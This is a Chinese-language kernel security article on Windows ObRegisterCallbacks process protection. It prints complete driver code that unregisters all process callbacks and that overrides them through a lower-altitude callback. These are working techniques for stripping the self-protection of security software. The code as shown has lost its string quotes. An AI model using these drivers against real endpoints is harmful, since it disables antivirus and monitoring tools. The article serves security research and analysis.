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ObRegisterCallbacks 的装载和卸载(ocular agent v3卸载)

0x00 前言

随着 windows 系统安全不断加强升级,在 windows7 x64 下推出了驱动程序强制签名和 PatchGuard 机制,使得通过 hook 技术实现进程保护的方法不再那么好用了,同时 windows 也推出了 ObRegisterCallbacks 回调函数以便于开发者实现进程保护,这是目前安全软件使用得最广泛的进程保护实现方法。

关于 ObRegisterCallbacks 实现进程保护已经有前辈提供了大量的文章和示例了,本文这里仅做简单的介绍,其本质就是在 NtOpenProcess 调用过程中,执行用户设置的回调函数,从而自定义的控制过滤进程权限;本文着重讨论如何卸载 ObRegisterCallbacks 回调函数,从而帮助我们进行日常的安全测试和研究。

本文试验环境:

windows 10 专业版 x64 1909Visual Studio 2019SDK 10.0.19041.685WDK 10.0.19041.685

0x01 回调实现进程保护

我们编写对进程名为 cmd.exe 进行进程保护的 ObRegisterCallbacks 代码如下:

#include <ntddk.h>#include <wdf.h>#define PROCESS_TERMINATE 0x0001DRIVER_INITIALIZE DriverEntry;NTKERNELAPI UCHAR* PsGetProcessImageFileName(__in PEPROCESS Process);PVOID RegistrationHandle = NULL;OB_PREOP_CALLBACK_STATUS PreOperationCallback(_In_ PVOID RegistrationContext, _In_ POB_PRE_OPERATION_INFORMATION OperationInformation) {UNREFERENCED_PARAMETER(RegistrationContext);// filter by process name cmd.exePUCHAR name = PsGetProcessImageFileName((PEPROCESS)OperationInformation->Object);if (strcmp((const char*)name, cmd.exe) != 0) {return OB_PREOP_SUCCESS;}// filter operation OB_OPERATION_HANDLE_CREATE, and remove PROCESS_TERMINALif (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, ProcessProtect: callback remove [%s] PROCESS_TERMINAL\n, name));OperationInformation->Parameters->CreateHandleInformation.DesiredAccess &= ~PROCESS_TERMINATE;}return OB_PREOP_SUCCESS;}VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject){UNREFERENCED_PARAMETER(DriverObject);// unregister callbacksif (RegistrationHandle != NULL) {ObUnRegisterCallbacks(RegistrationHandle);RegistrationHandle = NULL;}KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, ProcessProtect: unload driver\n));}NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {OB_OPERATION_REGISTRATION OperationRegistrations = { 0 };OB_CALLBACK_REGISTRATION  ObRegistration = { 0 };UNICODE_STRING Altitude = { 0 };NTSTATUS Status = STATUS_SUCCESS;UNREFERENCED_PARAMETER(DriverObject);UNREFERENCED_PARAMETER(RegistryPath);KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, ProcessProtect: driver entry\n));// register unload functionDriverObject->DriverUnload = OnUnload;// setup the ObRegistration callsOperationRegistrations.ObjectType   = PsProcessType;OperationRegistrations.Operations   = OB_OPERATION_HANDLE_CREATE;OperationRegistrations.PreOperation = PreOperationCallback;RtlInitUnicodeString(&Altitude, L1000);ObRegistration.Version                    = OB_FLT_REGISTRATION_VERSION;ObRegistration.OperationRegistrationCount = 1;ObRegistration.Altitude                   = Altitude;ObRegistration.RegistrationContext        = NULL;ObRegistration.OperationRegistration      = &OperationRegistrations;Status = ObRegisterCallbacks(&ObRegistration, &RegistrationHandle);if (!NT_SUCCESS(Status)) {KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, ProcessProtect: ObRegisterCallbcks failed status 0x%x\n, Status));return Status;}return STATUS_SUCCESS;}

由于 windows 对 ObRegisterCallbacks 的调用强制要求数字签名,我们需要在项目链接器中添加 /INTEGRITYCHECK 参数(否则调用 ObRegisterCallbacks 时将返回 0xC0000022 错误),如下:

随后编译以上驱动程序代码,然后使用服务(service)的方式加载驱动程序:

# 为驱动程序创建服务sc.exe create ProcessProtect type= kernel start= demand binPath= C:\Users\john\Desktop\workspace\ProcessProtect\x64\Debug\ProcessProtect.sys# 查看服务信息sc.exe queryex ProcessProtect# 启动服务/驱动程序sc.exe start ProcessProtect

启动如下:

随后使用任务管理器关闭 cmd.exe,测试如下:

0x02 卸载回调

安全软件和恶意软件都可以使用如上实现对自己进行保护,如果要对此类软件进行安全分析,那么绕过 ObRegisterCallbacks 实现的进程保护就是我们首先要解决的问题;不过我们通过上文了解了 ObRegisterCallbacks 的加载过程,最容易想到的则是使用系统函数 ObUnRegisterCallbacks 尝试对回调函数进行卸载。

首先我们分析下 ObRegisterCallbacks 的实现细节,该函数位于 ntoskrnl.exe,其函数定义为:

NTSTATUS ObRegisterCallbacks([in]  POB_CALLBACK_REGISTRATION CallbackRegistration,[out] PVOID                     *RegistrationHandle);

回调函数的注册实现如下:

ObRegisterCallbacks 中首先进行了一些参数检查,如 MmVerifyCallbackFunctionCheckFlags 就是上文提到的强制数字签名的检查,随后将参数 CallbackRegistration 重新赋值并通过 ObpInsertCallbackByAltitude 将回调函数插入到内核对象中。

其中 v17 就是我们传入的 PsProcessTypePsThreadType 内核对象,符号表提供的数据结构如下:

typedef struct _OBJECT_TYPE {LIST_ENTRY TypeList;UNICODE_STRING Name;void* DefaultObject;unsigned __int8 Index;unsigned int TotalNumberOfObjects;unsigned int TotalNumberOfHandles;unsigned int HighWaterNumberOfObjects;unsigned int HighWaterNumberOfHandles;_OBJECT_TYPE_INITIALIZER TypeInfo; // unsigned __int8 Placeholder[0x78];EX_PUSH_LOCK TypeLock;unsigned int Key;LIST_ENTRY CallbackList;}OBJECT_TYPE;

同时通过逆向分析可以推出回调对象 CALLBACK_ENTRY 内存大小为 CallbackRegistration->OperationRegistrationCount * 64 + 32 + CallbackRegistration->Altitude.Length,其数据结构如下:

typedef struct _CALLBACK_ENTRY_ITEM {LIST_ENTRY EntryItemList;OB_OPERATION Operations;CALLBACK_ENTRY* CallbackEntry;POBJECT_TYPE ObjectType;POB_PRE_OPERATION_CALLBACK PreOperation;POB_POST_OPERATION_CALLBACK PostOperation;__int64 unk;}CALLBACK_ENTRY_ITEM;typedef struct _CALLBACK_ENTRY {__int16 Version;char buffer1[6];POB_OPERATION_REGISTRATION RegistrationContext;__int16 AltitudeLength1;__int16 AltitudeLength2;char buffer2[4];WCHAR* AltitudeString;CALLBACK_ENTRY_ITEM Items;}CALLBACK_ENTRY;

也就是说每一个回调对象将分配一个 CALLBACK_ENTRY,其中每一项回调操作将分配一个 CALLBACK_ENTRY_ITEMAltitude 字符串拼接在该对象末尾;除此之外,回调对象创建成功后,会将 CALLBACK_ENTRY 赋值给 RegistrationHandle,用于 ObUnRegisterCallbacks 释放对象。

v16 参数则表示一个 CALLBACK_ENTRY_ITEM,其传入 ObpInsertCallbackByAltitude 函数,该函数根据 Altitude 的值排序并将回调函数插入到 OBJECT_TYPE->CallbackList 这个双向循环链表中,如下:

熟悉了 ObRegisterCallbacks 的实现细节,按照如上注册流程,那么我们就可以通过 PsProcessType->CallbackList 获取到 CALLBACK_ENTRY_ITEM 这个双向循环链表,遍历该链表,再从其中每项 CALLBACK_ENTRY_ITEM->CallbackEntry 获取到 CALLBACK_ENTRY 对象,最后使用 ObUnRegisterCallbacks 释放该对象,就实现了对回调函数的卸载,编写代码如下:

#include <ntddk.h>#include <wdf.h>DRIVER_INITIALIZE DriverEntry;typedef struct _OBJECT_TYPE {LIST_ENTRY TypeList;UNICODE_STRING Name;void* DefaultObject;unsigned __int8 Index;unsigned int TotalNumberOfObjects;unsigned int TotalNumberOfHandles;unsigned int HighWaterNumberOfObjects;unsigned int HighWaterNumberOfHandles;//_OBJECT_TYPE_INITIALIZER TypeInfo;unsigned __int8 Placeholder[0x78];EX_PUSH_LOCK TypeLock;unsigned int Key;LIST_ENTRY CallbackList;}OBJECT_TYPE;typedef struct _CALLBACK_ENTRY CALLBACK_ENTRY;typedef struct _CALLBACK_ENTRY_ITEM CALLBACK_ENTRY_ITEM;struct _CALLBACK_ENTRY_ITEM {LIST_ENTRY EntryItemList;OB_OPERATION Operations;CALLBACK_ENTRY* CallbackEntry;POBJECT_TYPE ObjectType;POB_PRE_OPERATION_CALLBACK PreOperation;POB_POST_OPERATION_CALLBACK PostOperation;__int64 unk;};struct _CALLBACK_ENTRY {__int16 Version;char buffer1[6];POB_OPERATION_REGISTRATION RegistrationContext;__int16 AltitudeLength1;__int16 AltitudeLength2;char buffer2[4];WCHAR* AltitudeString;CALLBACK_ENTRY_ITEM Items;};VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject){UNREFERENCED_PARAMETER(DriverObject);KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, UnloadObCB: unload driver\n));}NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {UNREFERENCED_PARAMETER(DriverObject);UNREFERENCED_PARAMETER(RegistryPath);KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, UnloadObCB: driver entry\n));// register unload functionDriverObject->DriverUnload = OnUnload;// get PsProcessType kernel handleOBJECT_TYPE* pspt = *(POBJECT_TYPE*)PsProcessType;KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, UnloadObCB: pspt = %p\n, pspt));// traverse callback listPLIST_ENTRY head = (PLIST_ENTRY)&(pspt->CallbackList);PLIST_ENTRY current = head->Blink;// actually, we skipped the head node, accessing this node will cause a memory access error, maybe the head does not store real data. (head->Operation = 0x4b424742, this should be a boundary tag)while (current != head) {KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, UnloadObCB: c=0x%llx, c->Flink=0x%llx, c->Blink=0x%llx\n, current, current->Flink, current->Blink));CALLBACK_ENTRY_ITEM* item = (CALLBACK_ENTRY_ITEM*)current;CALLBACK_ENTRY* entry = item->CallbackEntry;KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, UnloadObCB: unregister Entry=%p, Altitude = %ls\n, entry, entry->AltitudeString));ObUnRegisterCallbacks(entry);current = current->Blink;}return STATUS_SUCCESS;}

编译代码后也为该驱动程序创建服务 UnloadObCB,首先使用上文的 ProcessProtectcmd.exe 进行进程保护,随后再使用 UnloadObCB 卸载回调,在任务管理器中发现可以正常关闭 cmd.exe 进程,执行如下:

其中 Altitude = 1000 的回调就是我们 ProcessProtect 所添加的回调函数对象。

但是这种方式并不通用和稳定,首先是其结构体可能因操作系统版本的变化而变化,其次当原驱动退出时会调用 ObUnRegisterCallbacks 卸载自己的回调函数,但由于已经被我们卸载了,这里就会触发蓝屏。

0x03 覆盖回调操作

我们再尝试去寻找一些更稳定的绕过 ObRegisterCallbacks 的方法,细心同学已经发现当我们注册回调时需要添加 Altitude(https://learn.microsoft.com/en-us/windows-hardware/drivers/ifs/load-order-groups-and-altitudes-for-minifilter-drivers),该值为十进制的字符串,表示驱动程序的加载顺序,在 ObRegisterCallbacks 中表示回调函数的执行顺序:

Pre- 回调函数链按 Altitude 从高到低的顺序调用,再执行实际的函数调用,然后是 Post- 回调函数链,按 Altitude 从低到高的顺序调用;

根据回调函数的调用顺序,那么我们可以考虑在 Post- 回调函数链的末尾设置恢复进程句柄权限的函数,即可覆盖之前的回调函数的操作;但由于 Post- 链上的 GrantedAccess 可读不可写,所以我们在 Pre- 回调函数链的末尾(这里我们设置为 Altitude=999)进行操作,编写代码如下:

#include <ntddk.h>#include <wdf.h>DRIVER_INITIALIZE DriverEntry;NTKERNELAPI UCHAR* PsGetProcessImageFileName(__in PEPROCESS Process);PVOID RegistrationHandle = NULL;OB_PREOP_CALLBACK_STATUS PreOperationCallback(_In_ PVOID RegistrationContext, _In_ POB_PRE_OPERATION_INFORMATION OperationInformation) {UNREFERENCED_PARAMETER(RegistrationContext);// filter by process name cmd.exePUCHAR name = PsGetProcessImageFileName((PEPROCESS)OperationInformation->Object);if (strcmp((const char*)name, cmd.exe) != 0) {return OB_PREOP_SUCCESS;}if (OperationInformation->Operation == OB_OPERATION_HANDLE_CREATE) {KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, RecoverObCB: recover DesiredAccess=0x%x to OriginalDesiredAccess=0x%x\n,OperationInformation->Parameters->CreateHandleInformation.DesiredAccess,OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess));OperationInformation->Parameters->CreateHandleInformation.DesiredAccess = OperationInformation->Parameters->CreateHandleInformation.OriginalDesiredAccess;}return OB_PREOP_SUCCESS;}VOID OnUnload(_In_ PDRIVER_OBJECT DriverObject){UNREFERENCED_PARAMETER(DriverObject);// unregister callbacksif (RegistrationHandle != NULL) {ObUnRegisterCallbacks(RegistrationHandle);RegistrationHandle = NULL;}KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, RecoverObCB: unload driver\n));}NTSTATUS DriverEntry(_In_ PDRIVER_OBJECT DriverObject, _In_ PUNICODE_STRING RegistryPath) {OB_OPERATION_REGISTRATION OperationRegistrations = { 0 };OB_CALLBACK_REGISTRATION  ObRegistration = { 0 };UNICODE_STRING Altitude = { 0 };NTSTATUS Status = STATUS_SUCCESS;UNREFERENCED_PARAMETER(DriverObject);UNREFERENCED_PARAMETER(RegistryPath);KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, RecoverObCB: driver entry\n));// register unload functionDriverObject->DriverUnload = OnUnload;// setup the ObRegistration callsOperationRegistrations.ObjectType = PsProcessType;OperationRegistrations.Operations = OB_OPERATION_HANDLE_CREATE;OperationRegistrations.PreOperation = PreOperationCallback;RtlInitUnicodeString(&Altitude, L999);ObRegistration.Version = OB_FLT_REGISTRATION_VERSION;ObRegistration.OperationRegistrationCount = 1;ObRegistration.Altitude = Altitude;ObRegistration.RegistrationContext = NULL;ObRegistration.OperationRegistration = &OperationRegistrations;Status = ObRegisterCallbacks(&ObRegistration, &RegistrationHandle);if (!NT_SUCCESS(Status)) {KdPrintEx((DPFLTR_IHVDRIVER_ID, DPFLTR_INFO_LEVEL, RecoverObCB: ObRegisterCallbcks failed status 0x%x\n, Status));return Status;}return STATUS_SUCCESS;}

编译代码后也为该驱动程序创建服务 RecoverObCB,首先使用上文的 ProcessProtectcmd.exe 进行进程保护,随后再使用 RecoverObCB 覆盖回调操作,在任务管理器中发现可以正常关闭 cmd.exe 进程,执行如下:

上图中当使用任务管理器关闭 cmd.exe 进程时,RecoverObCB 使用进程申请权限 OriginalDesiredAccess=0x1001 覆盖实际给予的权限 DesiredAccess=0x1000,从而覆盖掉 ProcessProtect 的操作,实现了对进程保护的绕过。

from https://paper.seebug.org/2066/